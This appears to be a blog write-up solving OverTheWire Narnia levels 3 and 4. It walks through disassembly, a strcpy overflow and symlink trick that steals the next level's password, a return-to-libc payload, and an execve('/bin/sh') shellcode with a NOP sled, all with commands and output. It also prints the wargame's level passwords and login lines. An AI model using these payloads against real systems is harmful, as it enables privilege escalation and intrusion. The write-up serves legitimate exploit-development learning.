No real introduction should be necessarily time around. This write up is going to cover levels 3 and 4 of narnia. I am by no means an expert in what’s going on here, but wanted to document my understanding and process as I work through these levels.
One of the big changes going forward is that all of the assembly will be in the syntax used for the assembly. I’ve switch from ATT
to using Intel
syntax, I’ve personally found it a bit more readable and easier to follow. Details about the two flavors can be found here: https://en.wikipedia.org/wiki/X86_assembly_language#Syntax
narnia3
How to log into Narnia:
ssh -p 2226 narnia3@narnia.labs.overthewire.org
Password: vaequeezee
Where to find all of the challenges:
cd /narnia/
Going to change up the order a bit, and start with dumping out the contents of the binary to exploit and looking for main. And more importantly show off a handy sed one-liner for extracting just the assembly of a specific function.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
|
narnia3@narnia:/narnia$ objdump -M intel -d narnia3 | sed '/<main>:/,/^$/!d'
0804850b <main>:
804850b: 55 push ebp
804850c: 89 e5 mov ebp,esp
804850e: 83 ec 58 sub esp,0x58
8048511: c7 45 e8 2f 64 65 76 mov DWORD PTR [ebp-0x18],0x7665642f
8048518: c7 45 ec 2f 6e 75 6c mov DWORD PTR [ebp-0x14],0x6c756e2f
804851f: c7 45 f0 6c 00 00 00 mov DWORD PTR [ebp-0x10],0x6c
8048526: c7 45 f4 00 00 00 00 mov DWORD PTR [ebp-0xc],0x0
804852d: 83 7d 08 02 cmp DWORD PTR [ebp+0x8],0x2
8048531: 74 1a je 804854d <main+0x42>
8048533: 8b 45 0c mov eax,DWORD PTR [ebp+0xc]
8048536: 8b 00 mov eax,DWORD PTR [eax]
8048538: 50 push eax
8048539: 68 a0 86 04 08 push 0x80486a0
804853e: e8 4d fe ff ff call 8048390 <printf@plt>
8048543: 83 c4 08 add esp,0x8
8048546: 6a ff push 0xffffffff
8048548: e8 63 fe ff ff call 80483b0 <exit@plt>
804854d: 8b 45 0c mov eax,DWORD PTR [ebp+0xc] # argv
8048550: 83 c0 04 add eax,0x4
8048553: 8b 00 mov eax,DWORD PTR [eax]
8048555: 50 push eax
8048556: 8d 45 c8 lea eax,[ebp-0x38]
8048559: 50 push eax
804855a: e8 41 fe ff ff call 80483a0 <strcpy@plt> # copy argv[1] into ebp-0x38, overflow happens here
804855f: 83 c4 08 add esp,0x8
8048562: 6a 02 push 0x2 # open in readwrite mode
8048564: 8d 45 e8 lea eax,[ebp-0x18]
8048567: 50 push eax
8048568: e8 53 fe ff ff call 80483c0 <open@plt>
804856d: 83 c4 08 add esp,0x8
8048570: 89 45 fc mov DWORD PTR [ebp-0x4],eax #FD the outputfile
8048573: 83 7d fc 00 cmp DWORD PTR [ebp-0x4],0x0
8048577: 79 18 jns 8048591 <main+0x86>
8048579: 8d 45 e8 lea eax,[ebp-0x18]
804857c: 50 push eax
804857d: 68 d8 86 04 08 push 0x80486d8
8048582: e8 09 fe ff ff call 8048390 <printf@plt>
8048587: 83 c4 08 add esp,0x8
804858a: 6a ff push 0xffffffff
804858c: e8 1f fe ff ff call 80483b0 <exit@plt>
8048591: 6a 00 push 0x0 # open in readonly mode (from argv)
8048593: 8d 45 c8 lea eax,[ebp-0x38]
8048596: 50 push eax
8048597: e8 24 fe ff ff call 80483c0 <open@plt>
804859c: 83 c4 08 add esp,0x8
804859f: 89 45 f8 mov DWORD PTR [ebp-0x8],eax #FD the inputfile
80485a2: 83 7d f8 00 cmp DWORD PTR [ebp-0x8],0x0
80485a6: 79 18 jns 80485c0 <main+0xb5>
80485a8: 8d 45 c8 lea eax,[ebp-0x38]
80485ab: 50 push eax
80485ac: 68 d8 86 04 08 push 0x80486d8
80485b1: e8 da fd ff ff call 8048390 <printf@plt>
80485b6: 83 c4 08 add esp,0x8
80485b9: 6a ff push 0xffffffff
80485bb: e8 f0 fd ff ff call 80483b0 <exit@plt>
80485c0: 6a 1f push 0x1f
80485c2: 8d 45 a8 lea eax,[ebp-0x58]
80485c5: 50 push eax
80485c6: ff 75 f8 push DWORD PTR [ebp-0x8]
80485c9: e8 b2 fd ff ff call 8048380 <read@plt>
80485ce: 83 c4 0c add esp,0xc
80485d1: 6a 1f push 0x1f
80485d3: 8d 45 a8 lea eax,[ebp-0x58]
80485d6: 50 push eax
80485d7: ff 75 fc push DWORD PTR [ebp-0x4]
80485da: e8 01 fe ff ff call 80483e0 <write@plt>
80485df: 83 c4 0c add esp,0xc
80485e2: 8d 45 e8 lea eax,[ebp-0x18]
80485e5: 50 push eax
80485e6: 8d 45 c8 lea eax,[ebp-0x38]
80485e9: 50 push eax
80485ea: 68 ec 86 04 08 push 0x80486ec
80485ef: e8 9c fd ff ff call 8048390 <printf@plt>
80485f4: 83 c4 0c add esp,0xc
80485f7: ff 75 f8 push DWORD PTR [ebp-0x8]
80485fa: e8 f1 fd ff ff call 80483f0 <close@plt>
80485ff: 83 c4 04 add esp,0x4
8048602: ff 75 fc push DWORD PTR [ebp-0x4]
8048605: e8 e6 fd ff ff call 80483f0 <close@plt>
804860a: 83 c4 04 add esp,0x4
804860d: 6a 01 push 0x1
804860f: e8 9c fd ff ff call 80483b0 <exit@plt>
8048614: 66 90 xchg ax,ax
8048616: 66 90 xchg ax,ax
8048618: 66 90 xchg ax,ax
804861a: 66 90 xchg ax,ax
804861c: 66 90 xchg ax,ax
804861e: 66 90 xchg ax,ax
|
No surprises here, need to give the program a quick run to determine what it’s trying to do:
1
2
3
4
5
|
narnia3@narnia:/narnia$ ./narnia3
usage, ./narnia3 file, will send contents of file 2 /dev/null
narnia3@narnia:/narnia$ ./narnia3 narnia3.c
copied contents of narnia3.c to a safer place... (/dev/null)
|
So it seems this program copies the contents of a file from one place to another, also, it’s important to note that this program belongs to the narnia4
group. The goal then seems to be to get this program to read the narnia4
password file and somehow redirect the output to a place that we specify, instead of /dev/null
:
1
2
|
narnia3@narnia:/narnia$ ./narnia3 /etc/narnia_pass/narnia4
copied contents of /etc/narnia_pass/narnia4 to a safer place... (/dev/null)
|
Since it needs a valid file, looks like something clever has to be done to possibly break it. First create a directory with a file like /tmp + <a bunch of characaters> + /<file>
. Then pass that into the program to see if it is possible to overflow the output directory:
1
2
|
narnia3@narnia:/narnia$ ./narnia3 $(python -c 'print "/tmp/" + "B"*40')/test.txt
error opening BBBBBBBBBBBBB/test.t????
|
That didn’t quite do the trick, so trying a bit more varied input:
1
2
|
narnia3@narnia:/narnia$ ./narnia3 $(python -c 'print "/tmp/" + "B"*26')//tmp/test
error opening /tmp/test
|
Looks like we have some control over some directory. Now to break down the assembly to confirm the suspicions:
First thing to do is copy the value of argv[1]
into our input filename to be used with open
later.
1
2
3
4
5
6
7
8
|
804854d: 8b 45 0c mov eax,DWORD PTR [ebp+0xc] # Load address of argv[0]
8048550: 83 c0 04 add eax,0x4 # Increment index to argv[1]
8048553: 8b 00 mov eax,DWORD PTR [eax] # Move the address of argv[1] into $eax
8048555: 50 push eax # Push addr of argv[1] to stack
8048556: 8d 45 c8 lea eax,[ebp-0x38] # Address of the buffer to store the filename
8048559: 50 push eax # Push it onto the stack
804855a: e8 41 fe ff ff call 80483a0 <strcpy@plt> # Copy argv[1] into the buffer, this is where the overflow
# can occur since there's no size checking on the strcpy.
|
Next open the output file:
1
2
3
4
5
6
7
|
8048511: c7 45 e8 2f 64 65 76 mov DWORD PTR [ebp-0x18],0x7665642f # Load the string /dev/null
...
804855f: 83 c4 08 add esp,0x8
8048562: 6a 02 push 0x2 # Open in readwrite mode (O_RDWR)
8048564: 8d 45 e8 lea eax,[ebp-0x18] # Get the filename for the outfile, what we open to overflow and control
8048567: 50 push eax # Push it to the stack
8048568: e8 53 fe ff ff call 80483c0 <open@plt> # Call open(filename, flags)
|
Once the open finishes, it checks that the file description returned from open
is not NULL and then continues on to open the input file:
1
2
3
4
|
8048591: 6a 00 push 0x0 # open in readonly mode (from argv)
8048593: 8d 45 c8 lea eax,[ebp-0x38]
8048596: 50 push eax
8048597: e8 24 fe ff ff call 80483c0 <open@plt>
|
Again checking to make sure that the file description isn’t null. Then moving onto the good stuff of reading from the input file, and writing the contents out to /dev/null
- or the location specified by overflowing the buffer.
Game plan:
- Create a directory that overflows the buffer allowing us to control the output directory
- Within this overflow directory, add another subdirectory that becomes our file to read in AND our final output
- Use a symbolic link to create a subdirectory file that allows us to link against the password file.
- Run the program and get the password.
Putting it all together:
1
2
3
4
5
6
|
narnia3@narnia:/$ mkdir -p $(python -c 'print "/tmp/" + "Z"*7 + "A"*20')/tmp/
narnia3@narnia:/$ ln -s /etc/narnia_pass/narnia4 $(python -c 'print "/tmp/" + "Z"*7 + "A"*20')/tmp/oopsiedo
narnia3@narnia:/$ touch /tmp/oopsiedo
narnia3@narnia:/$ chmod 777 /tmp/oopsiedo
narnia3@narnia:/$ /narnia/narnia3 $(python -c 'print "/tmp/" + "Z"*7 + "A"*20')/tmp/oopsiedo
copied contents of /tmp/ZZZZZZZAAAAAAAAAAAAAAAAAAAA/tmp/oopsiedo to a safer place... (/tmp/oopsiedo)
|
And the password:
1
2
|
narnia3@narnia:/$ cat /tmp/oopsiedo
thaenohtai
|
narnia4
How to log into Narnia:
ssh -p 2226 narnia4@narnia.labs.overthewire.org
Password: thaenohtai
Where to find all of the challenges:
cd /narnia/
First up run the program and see what it does since this has gotten us pretty far:
1
2
|
narnia4@narnia:/narnia$ ./narnia4
narnia4@narnia:/narnia$
|
Well, looks like that wont’ do the trick, nothing obvious. Try to break it with some input:
1
2
3
4
5
|
narnia4@narnia:/narnia$ ./narnia4 $(python -c 'print "A"* 1024')
Segmentation fault
narnia4@narnia:/narnia$ ./narnia4 $(python -c 'print "A"* 256')
narnia4@narnia:/narnia$ ./narnia4 $(python -c 'print "A"* 320')
Segmentation fault
|
Well some good news, it’s possible to get it to SEGFAULT
. objdump
time - this time starting by looking for any interesting functions using -T
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
narnia4@narnia:/narnia$ objdump -T narnia4
narnia4: file format elf32-i386
DYNAMIC SYMBOL TABLE:
00000000 DF *UND* 00000000 GLIBC_2.0 strcpy
00000000 w D *UND* 00000000 __gmon_start__
00000000 DF *UND* 00000000 GLIBC_2.0 strlen
00000000 DF *UND* 00000000 GLIBC_2.0 __libc_start_main
00000000 DF *UND* 00000000 GLIBC_2.0 memset
080497d4 w DO .bss 00000004 GLIBC_2.0 _environ
080497d4 w DO .bss 00000004 GLIBC_2.0 environ
080497d4 g DO .bss 00000004 GLIBC_2.0 __environ
080485ac g DO .rodata 00000004 Base _IO_stdin_used
|
environ
seems interesting. Use the magic one liner with objdump
and awk
(cause it never hurts to try out alternative methods) to get just the assembly of main:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
|
narnia4@narnia:/narnia$ objdump -M intel -d narnia4 | awk -F"\n" -v RS="\n\n" '$1 ~ /main/'
080484ab <main>:
80484ab: 55 push ebp
80484ac: 89 e5 mov ebp,esp
80484ae: 81 ec 04 01 00 00 sub esp,0x104
80484b4: c7 45 fc 00 00 00 00 mov DWORD PTR [ebp-0x4],0x0
80484bb: eb 39 jmp 80484f6 <main+0x4b>
80484bd: a1 d4 97 04 08 mov eax,ds:0x80497d4
80484c2: 8b 55 fc mov edx,DWORD PTR [ebp-0x4]
80484c5: c1 e2 02 shl edx,0x2
80484c8: 01 d0 add eax,edx
80484ca: 8b 00 mov eax,DWORD PTR [eax]
80484cc: 50 push eax
80484cd: e8 9e fe ff ff call 8048370 <strlen@plt>
80484d2: 83 c4 04 add esp,0x4
80484d5: 89 c1 mov ecx,eax
80484d7: a1 d4 97 04 08 mov eax,ds:0x80497d4
80484dc: 8b 55 fc mov edx,DWORD PTR [ebp-0x4]
80484df: c1 e2 02 shl edx,0x2
80484e2: 01 d0 add eax,edx
80484e4: 8b 00 mov eax,DWORD PTR [eax]
80484e6: 51 push ecx
80484e7: 6a 00 push 0x0
80484e9: 50 push eax
80484ea: e8 a1 fe ff ff call 8048390 <memset@plt>
80484ef: 83 c4 0c add esp,0xc
80484f2: 83 45 fc 01 add DWORD PTR [ebp-0x4],0x1
80484f6: a1 d4 97 04 08 mov eax,ds:0x80497d4
80484fb: 8b 55 fc mov edx,DWORD PTR [ebp-0x4]
80484fe: c1 e2 02 shl edx,0x2
8048501: 01 d0 add eax,edx
8048503: 8b 00 mov eax,DWORD PTR [eax]
8048505: 85 c0 test eax,eax
8048507: 75 b4 jne 80484bd <main+0x12>
8048509: 83 7d 08 01 cmp DWORD PTR [ebp+0x8],0x1
804850d: 7e 18 jle 8048527 <main+0x7c>
804850f: 8b 45 0c mov eax,DWORD PTR [ebp+0xc]
8048512: 83 c0 04 add eax,0x4
8048515: 8b 00 mov eax,DWORD PTR [eax]
8048517: 50 push eax
8048518: 8d 85 fc fe ff ff lea eax,[ebp-0x104]
804851e: 50 push eax
804851f: e8 3c fe ff ff call 8048360 <strcpy@plt>
8048524: 83 c4 08 add esp,0x8
8048527: b8 00 00 00 00 mov eax,0x0
804852c: c9 leave
804852d: c3 ret
804852e: 66 90 xchg ax,ax
|
A quick scan through this whole function seems to have a few jmp
followed by cmp
s, this may mean that there’s a loop involved in this bit of code. Time to breakdown a bit of what’s going on here to start building up a mental model and see if we can identify any areas that could be exploited. Taking note of the reservation of 260 bytes (0x104
) on the stack:
1
|
80484ae: 81 ec 04 01 00 00 sub $0x104,%esp
|
A move zero into a variable, possibly some sort of counter:
1
|
80484b4: c7 45 fc 00 00 00 00 mov DWORD PTR [ebp-0x4],0x0
|
An important thing to note is that the $ebp-4
is the same as $esp-4
because of mov ebp,esp
. Which means that there still should be 256 bytes left for other usages. Since the program will crash with 320 A
s, these 256 bytes are very likely for the buffer. Trying 264-270 should also cause the program to crash:
1
2
|
narnia4@narnia:/narnia$ ./narnia4 $(python -c 'print "A"* 264')
Segmentation fault
|
This address is for the external environ
in C:
1
|
80484bd: a1 d4 97 04 08 mov eax,ds:0x80497d4
|
In other words this, which we saw when using objdmp
with -T
:
1
|
080497d4 <__environ@@GLIBC_2.0>
|
This gets a value out of the envrion
and sets up to call the strnlen
function and saves the result into $eax
:
1
2
3
4
5
6
7
8
|
80484bd: a1 d4 97 04 08 mov eax,ds:0x80497d4 # Move the addr to $eax
80484c2: 8b 55 fc mov edx,DWORD PTR [ebp-0x4] # Get an index
80484c5: c1 e2 02 shl edx,0x2 # Adjust index
80484c8: 01 d0 add eax,edx # Index into env
80484ca: 8b 00 mov eax,DWORD PTR [eax] # Load the address at envrion[i]
80484cd: e8 9e fe ff ff call 8048370 <strlen@plt> # Get the strlen
80484d2: 83 c4 04 add esp,0x4
80484d5: 89 c1 mov ecx,eax # Save the return of the strlen
|
Next up is to tackle the memset
, same sort of flow again which seems to be calling memset
on envrion[i]
.
1
2
3
4
5
6
7
8
9
10
|
80484d7: a1 d4 97 04 08 mov eax,ds:0x80497d4 # Move the addr to $eax
80484dc: 8b 55 fc mov edx,DWORD PTR [ebp-0x4] # Get an index
80484df: c1 e2 02 shl edx,0x2 # Adjust index
80484e2: 01 d0 add eax,edx # Index into env
80484e4: 8b 00 mov eax,DWORD PTR [eax] # Load the address at envrion[i]
80484e6: 51 push ecx
80484e7: 6a 00 push 0x0 # Value to fill envrion[i] with
80484e9: 50 push eax
80484ea: e8 a1 fe ff ff call 8048390 <memset@plt> # Call memset
|
Next up is to increment the index (i++), and check to see if the pointer at envrion[i++]
is not NULL
. If it isn’t, then jump back up and start the memset process again, aka a loop. If it is NULL
, exit from this loop and continue along. The NULL
test just ANDs what is in $eax
(which is just *environ[i]
) against itself. If the result is equal to zero then ZF will be set to 1
. jne
will then jump if ZF
is NOT equal to 1
.
1
2
3
4
5
6
7
8
|
80484f2: 83 45 fc 01 add DWORD PTR [ebp-0x4],0x1 # i++
80484f6: a1 d4 97 04 08 mov eax,ds:0x80497d4
80484fb: 8b 55 fc mov edx,DWORD PTR [ebp-0x4]
80484fe: c1 e2 02 shl edx,0x2
8048501: 01 d0 add eax,edx
8048503: 8b 00 mov eax,DWORD PTR [eax]
8048505: 85 c0 test eax,eax # This is the check for the loop
8048507: 75 b4 jne 80484bd <main+0x12> # environ[i] != NULL
|
Something worth nothing here with the way this loop is structured didn’t make a lot of sense to me at first. Intuitively I’d was expected the test
and jmp
to be structured a bit differently, more like the increment and the jump at the end of the instructions, and the actual testing and jumping out of the loop being at the start of the instructions. So when I was first looking at this code it didn’t immediately click with me that this was a loop - one of the lessons I learned was the value in scanning over the whole function to get a general sense of what it may be doing.
Last but not least to understand what’s happening after the loop finishes, and where the vulnerability exists with strcpy
:
1
2
3
4
5
6
7
|
804850f: 8b 45 0c mov eax,DWORD PTR [ebp+0xc] # These four lines are responsible
8048512: 83 c0 04 add eax,0x4 # for getting the address from argv[1]
8048515: 8b 00 mov eax,DWORD PTR [eax] # and pushing
8048517: 50 push eax # that to the stack
8048518: 8d 85 fc fe ff ff lea eax,[ebp-0x104] # Gets the address of the buffer to copy the data to
804851e: 50 push eax
804851f: e8 3c fe ff ff call 8048360 <strcpy@plt> # This is the strcpy that can be exploited
|
When we put it all together, there seems to be some loop that memsets
all environment variables. And a strcpy
that allows for an overflow. So we can’t store shellcode
in the environment. That said, the buffer we have is big enough to store some shellcode
to execute our shell, so we could use what we’ve done in narnia1
using the shellcode
that was created.
Or we can use this as an opportunity to try a different route using the Return-to-LibC Exploit. I based a lot of what I did here on the pdf from MIT, https://css.csail.mit.edu/6.858/2010/readings/return-to-libc.pdf.
Return-to-LibC
can be broken into a few different steps:
-
Find the address of “system()". This can be done by attaching gdb
to the program, running it and then printing out the function.
1
2
|
(gdb) p system
$2 = {<text variable, no debug info>} 0xf7e4c850 <system>
|
-
Find the address of “exit()", this is optional, if this isn’t done the program will crash on shell exit. So in a real world case this would be worth doing to cover our tracks, so some process doesn’t unexpectedly die.
1
2
3
|
(gdb) p exit
$1 = {<text variable, no debug info>} 0xf7e40800 <exit>
This one is tricky to do as there are nullbytes
|
-
Find the address for /bin/sh
, this can be done in quite a few different ways, however this time around we’ll rely on it being in memory somewhere.
1
2
3
4
|
(gdb) find 0xf7e4c850,+99999999,"/bin/sh"
0xf7f6ecc8
warning: Unable to access 16000 bytes of target memory at 0xf7fc8a50, halting search.
1 pattern found.
|
-
Build up the shellcode with python, using the formula found Return-To-LibC
Exploit, we need to adjust the padding for the buffer size we determined earlier that would allow us to $eip
smash.

1
|
> $(python -c 'print "A" * 264 + "\x50\xc8\xe4\xf7" + "SEXY" + "\xc8\xec\xf6\xf7" ')
|
-
With it all prepared, time to actually use it to get the shell for the next level:
1
2
3
|
> narnia4@narnia:~$ /narnia/narnia4 $(python -c 'print "A" * 264 + "\x50\xc8\xe4\xf7" + "SEXY" + "\xc8\xec\xf6\xf7" ')
$ whoami
narnia5
|
Then grab the password for the next level:
1
2
|
$ cat /etc/narnia_pass/narnia5
faimahchiy
|
Alternate Solution to narnia4 with Shellcode
For an alternative solution, using the shellcode from narnia1
.
Adjust the payload size of the NOOP
z. Recall that the size of the shellcode is 49 bytes. So 264bytes - 49bytes = 215bytes.
Run the program and look at the stack to get an approximation of where our NOOP sled lives:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
(gdb) r $(python -c 'print "\x90"*215 + "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4a\x41\x41\x41\x41\x42\x42\x42\x42" + "CCCC"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia4 $(python -c 'print "\x90"*215 + "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4a\x41\x41\x41\x41\x42\x42\x42\x42" + "CCCC"')
Breakpoint 1, 0x0804852c in main ()
(gdb) x/100xw $esp
0xffffd4a4: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd4b4: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd4c4: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd4d4: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd4e4: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd4f4: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd504: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd514: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd524: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd534: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd544: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd554: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd564: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd574: 0x90909090 0xeb909090 0xc0315e1a 0x8d074688
0xffffd584: 0x085e891e 0xb00c4689 0x8df3890b 0x568d084e
0xffffd594: 0xe880cd0c 0xffffffe1 0x6e69622f 0x4a68732f
0xffffd5a4: 0x41414141 0x42424242 0x43434343 0x00000000
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x43434343 in ?? ()
|
Replace the CCCC
with an address roughly in the NOOP sled and away we go:
1
2
3
4
5
|
narnia4@narnia:/narnia$ ./narnia4 $(python -c 'print "\x90"*215 + "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4a\x41\x41\x41\x41\x42\x42\x42\x42" + "\xf4\xd4\xff\xff"')
$ whoami
narnia5
$ cat /etc/narnia_pass/narnia5
faimahchiy
|